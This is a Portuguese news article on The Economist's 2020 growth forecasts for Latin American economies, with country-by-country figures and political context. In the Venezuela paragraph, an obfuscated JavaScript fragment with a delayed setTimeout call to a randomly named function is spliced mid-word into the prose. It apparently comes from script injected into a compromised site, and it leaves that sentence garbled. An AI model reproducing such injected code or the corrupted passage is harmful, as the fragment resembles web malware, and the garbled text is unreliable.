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Segundo as previsões da “The Economist”, a economia da região América Latina e Caraíbas irá crescer 1,2% no próximo ano.

Na publicação “The World in 2020”, a revista britânica estima que o Brasil vá crescer 2%, o Chile 3,4%, a Colômbia 3,4%, o Equador 1,2%, o Paraguai 3,3%, o Peru 3,2%, o Uruguai 1,5% e a Bolívia 3,9%.

Sobre a Argentina, é destacada a vitória de Alberto Fernández nas eleições presidenciais e a aposta expectável do novo governo em áreas como turismo, agropecuária e minas.

De acordo com a publicação, a Reforma da Previdência Social no Brasil tranquilizou os credores internacionais, que deverão continuarão a assistir a mudanças no mercado laboral, na regulação de pequenos negócios e na indústria de propriedade estatal.

Com as manifestações ocorridas nos últimos meses no Chile, o Presidente Sebastian Piñera anunciou uma série de medidas e reformas, incluindo um referendo onde a população poderá pronunciar-se sobre alterações à Constituição do país.

Na Colômbia, a procura interna e os investimentos em infraestrutura deverão continuar a alimentar a economia, com uma inflação controlada, abaixo do valor do crescimento económico.

O Paraguai deverá ser beneficiado com um salto no crescimento económico, impulsionado pela recuperação do Brasil.

No Peru, apesar das questões políticas internas, a economia continuará a expadir, pelo 22º ano consecutivo, com a previsão da inflação apenas a 2.0%.

No caso do Uruguai, o recém-eleito presidente Luis Lacalle Pou terá a maioria no Congresso, o que permitirá a sustentação da sua agenda de reformas económicas e fiscais.

Por fim, o relatório prevê que uma possível saída do presidente Nicolás Maduro poderá fazer surgir um novo governo na Venezuela, que muito provavelmente adotaria um plano de estabilização económica baseado em assistência financeira internacional e realizandom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}ando amplas reformas em diferentes setores. De qualquer forma, mantém-se a previsão de recessão económica, aliada à inflação mais alta do mundo: 678%.

A “Economist” prevê ainda crescimento económico negativo para Argentina e Cuba.